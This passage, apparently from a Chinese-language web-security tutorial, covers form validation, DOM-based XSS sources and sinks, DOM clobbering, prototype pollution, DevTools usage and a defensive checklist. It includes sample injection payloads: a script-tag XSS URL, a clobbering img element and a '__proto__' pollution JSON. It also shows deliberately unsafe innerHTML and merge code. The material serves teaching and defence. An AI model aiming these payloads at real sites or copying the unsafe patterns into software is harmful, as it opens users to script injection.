
    // 驗證
    const formData = new FormData(form);
    console.log(formData.get('username'));

    // 手動提交
    // form.submit();
});

// 表單驗證 API
input.validity.valid;             // 是否有效
input.validity.valueMissing;      // 是否為空(required)
input.validity.typeMismatch;      // 類型不符(email, url)
input.validity.patternMismatch;   // 模式不符(pattern)
input.checkValidity();            // 檢查有效性
input.setCustomValidity('自訂錯誤訊息');

DOM 與資安

DOM-based XSS

// DOM-based XSS 發生在客戶端,不經過伺服器

// 危險的 Source(輸入來源)
location.href
location.search
location.hash
document.URL
document.referrer
document.cookie
window.name
postMessage 的資料

// 危險的 Sink(輸出目標)
element.innerHTML
document.write()
eval()
setTimeout(string)
setInterval(string)
location.href
location.assign()

// 範例:從 URL 取得參數直接顯示
// URL: https://example.com/page?name=<script>alert('XSS')</script>
const params = new URLSearchParams(location.search);
document.getElementById('greeting').innerHTML = 'Hello, ' + params.get('name');
// 造成 XSS!

// 安全的做法
document.getElementById('greeting').textContent = 'Hello, ' + params.get('name');

DOM Clobbering

DOM Clobbering 是一種利用 HTML 元素的 id 或 name 屬性來覆蓋 JavaScript 全域變數的攻擊技術。

<!-- 假設頁面原本期望 config 是一個物件 -->
<script>
    // 開發者預期的程式碼
    if (config && config.debug) {
        console.log('Debug mode');
    }
</script>

<!-- 攻擊者注入的 HTML -->
<img id="config" name="debug" src="x">

<!-- 現在 window.config 指向這個 img 元素 -->
<!-- config.debug 指向同一個元素(因為 name="debug") -->
<!-- 這可能導致非預期的行為 -->

Prototype Pollution

// 原型污染可能導致意外的行為

// 假設有不安全的物件合併函數
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            target[key] = merge(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// 攻擊者控制的輸入
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);

// 現在所有物件都有 isAdmin 屬性
const user = {};
console.log(user.isAdmin);  // true!

實戰工具與練習

瀏覽器開發者工具

按 F12 開啟開發者工具:

Elements 分頁
– 檢視和修改 HTML 結構
– 即時編輯 CSS 樣式
– 查看元素的事件監聽器

Console 分頁
– 執行 JavaScript 程式碼
– 查看錯誤和警告
– 使用 $0 引用選中的元素

Network 分頁
– 查看所有網路請求
– 分析請求和回應內容
– 模擬慢速網路

Application 分頁
– 查看和修改 Cookie
– 查看 localStorage 和 sessionStorage
– 查看 Service Worker

Sources 分頁
– 查看和除錯 JavaScript 程式碼
– 設定中斷點
– 查看呼叫堆疊

常用 Console 指令

// 查看 Cookie
document.cookie

// 查看 localStorage
localStorage

// 查看所有全域變數
Object.keys(window)

// 查看元素的所有事件
getEventListeners($0)

// 監控函數呼叫
monitor(functionName)

// 監控事件
monitorEvents(element, 'click')

// 複製到剪貼簿
copy(object)

// 清除 Console
clear()

練習資源

XSS 練習平台
– PortSwigger Web Security Academy
– XSS Game (https://xss-game.appspot.com/)
– alert(1) to win (https://alf.nu/alert1)
– prompt(1) to win

DOM 操作練習
– JavaScript30 (https://javascript30.com/)
– freeCodeCamp
– MDN Web Docs 互動範例

線上編輯器
– CodePen (https://codepen.io/)
– JSFiddle (https://jsfiddle.net/)
– JS Bin (https://jsbin.com/)

重點整理

BOM vs DOM 對照表

項目 BOM DOM
頂層物件 window document
主要功能 瀏覽器互動 文件操作
location 管理 URL
history 瀏覽歷史
navigator 瀏覽器資訊
screen 螢幕資訊
localStorage 本地儲存
getElementById
querySelector
createElement
innerHTML/textContent

安全檢查清單

□ 永遠使用 textContent 而非 innerHTML 處理使用者輸入
□ 驗證所有來自 URL 的資料(location.search, location.hash)
□ 不要使用 eval() 和字串形式的 setTimeout/setInterval
□ 敏感資料不要存在 localStorage
□ 實作 CSP 來限制腳本執行
□ 使用 HttpOnly Cookie 儲存 session token
□ 驗證重導向 URL 防止 Open Redirect
□ 注意 DOM Clobbering 和 Prototype Pollution

延伸閱讀

官方文件

  • MDN Web Docs: https://developer.mozilla.org/
  • W3C DOM 規範: https://www.w3.org/DOM/
  • WHATWG HTML 規範: https://html.spec.whatwg.org/

資安相關

  • OWASP XSS Prevention Cheat Sheet
  • PortSwigger Web Security Academy
  • DOM-based XSS Prevention Cheat Sheet

推薦書籍

  • 《JavaScript: The Good Parts》
  • 《High Performance JavaScript》
  • 《Web Application Hacker’s Handbook》

總結

這篇文章涵蓋了前端技術的核心知識:

HTML
– 文件結構與常見標籤
– 表單元素與屬性
– HTML 實體編碼與 XSS 防護

CSS
– 選擇器與優先順序
– 常用屬性
– CSS Injection 與 UI Redressing

JavaScript
– 基本語法與資料類型
– 事件處理與非同步操作
– XSS 攻擊向量與防禦

BOM vs DOM
– BOM 物件:window、location、history、navigator
– DOM 操作:選擇、建立、修改、刪除元素
– DOM-based 漏洞

對資安人員來說,理解這些前端技術是進行 Web 安全測試的基礎。無論是:
– 尋找 XSS 漏洞
– 分析惡意網頁
– 理解 CSP 繞過技術
– 進行 DOM-based 攻擊

都需要扎實的前端知識。

下一步,你可以:
– 在 PortSwigger Academy 練習 XSS 題目
– 學習使用 Burp Suite 攔截和修改請求
– 研究 CSP 的配置和繞過方式
– 深入學習 JavaScript 框架的安全問題(React、Vue、Angular)

飛飛
飛飛

講師學歷:臺科資工所、逢甲資工系畢業。
技術專長:OSINT、滲透測試、網站開發、專業易懂教育訓練。
證照書籍:OSCP、OSCE³、著《資安這條路:領航新手的 Web Security 指南》。
教學經驗:60+ 企業教學經驗、指導過上百位學員。
教學特色:新手友善、耐心指導、擅長圖解(流程圖、心智圖)引導學習。
社群經驗:目前經營全臺資安社群 CURA,曾任臺科資安社社長、逢甲黑客社社長。
社群交流:LINE 社群《飛飛的資安大圈圈》,即時分享經驗、鼓勵交流。
社群分享:FB 粉專《資安這條路,飛飛來領路》,分享文章與圖卡整理。
個人網站:feifei.tw 分享資安技術文章;pbtw.tw 分享 AI 相關應用;ssdlc.feifei.tw 分享軟體安全開發流程文章。